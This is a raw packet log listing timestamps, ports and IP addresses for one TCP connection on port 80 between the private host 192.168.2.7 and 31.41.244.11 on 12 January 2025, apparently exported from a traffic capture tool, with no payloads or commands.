Jan 12, 2025 17:39:11.579504967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579518080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579539061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579566956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579598904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579612017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579612017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579612017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579709053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579787016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579787016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606174946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606246948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606296062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606337070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606337070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606338978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606364965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606400967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606436014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606468916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606489897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606489897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606517076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606549025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606554031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606585026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606616974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606635094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606635094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606635094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606652021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606673002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606695890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606753111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606770992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606798887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606832981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606862068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606884956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606929064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606959105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.606971979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.606971979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607031107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607069969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607069969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607094049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607167006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607192039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607217073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607259989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607259989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607294083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607300997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607300997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607362032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607376099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607397079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607438087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607466936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607466936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607472897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607533932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607553005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607553005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607584000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607616901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607651949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607659101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607659101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607659101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607697010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607729912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607745886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607745886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607763052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607795954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607815981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607827902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607861996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607894897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607897043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607897043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607928991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.607959032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607959986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.607961893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608011961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608028889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608028889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608043909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608057022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608078003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608107090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608139992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608146906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608146906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608146906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608174086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608206987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608237028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608237028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608242989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608273029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608304024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608336926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608338118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608338118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608338118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608350992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608371019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608405113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608438015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608448982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608448982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608448982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608470917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608504057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608514071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608514071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608540058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608556986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608572006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608607054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608611107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608639956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608674049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608685017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608685017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608707905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608709097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608721018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.608741999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.608798027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.609009027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.662884951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.662940979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.662964106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.662972927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.662996054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663024902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663058996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663073063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663073063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663094044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663144112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663180113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663196087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663196087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663196087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663228989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663261890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663295031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663336039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663336039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663336039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663343906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663377047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663408995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663445950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663454056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663454056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663454056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663562059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.663866043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663932085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663961887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.663970947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664012909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664042950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664064884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664113998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664122105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664165020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664165974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664213896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664251089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664262056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664268017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664297104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664347887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664362907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664380074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664412022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664412975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664412975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664444923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664488077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664494038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664527893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664560080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664593935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664603949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664603949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664603949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664627075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664659977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664709091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664753914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664753914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664753914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664760113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664792061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664824009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664856911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664866924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664866924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664866924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664891005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664923906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664954901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.664968014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664968014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664968014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.664988041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665021896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665035009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665035009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665054083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665086985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665119886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665153980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665163994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665163994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665163994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665180922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665216923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665250063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665282011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665299892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665299892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665299892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665314913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665348053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665360928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665360928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665380955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665409088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665441036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665450096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665450096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665450096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665473938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665491104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665503025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665535927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665570021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665581942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665581942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665581942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665601969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665635109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665669918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.665702105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665702105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665702105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.665791035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692487955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692523956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692559004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692579031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692579031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692614079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692643881 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692667007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692683935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692701101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692734957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692770958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692800045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692804098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692804098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692823887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692831993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692866087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692883968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692883968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692900896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.692946911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692946911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.692954063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693002939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693056107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693089008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693103075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693103075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693123102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693126917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693151951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693185091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693203926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693203926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693237066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693259954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693274975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693310022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693332911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693344116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693397045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693424940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693447113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693447113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693447113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693475008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693500042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693526030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693557978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693592072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693605900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693609953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693644047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693679094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693679094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693694115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693727016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693762064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693762064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693778038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693829060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693877935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693912029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693923950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693923950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693923950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693943977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693973064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.693989992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.693989992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694009066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694045067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694077969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694092035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694092035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694092035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694112062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694144011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694179058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694184065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694184065 CET	49975	80	192.168.2.7	31.41.244.11
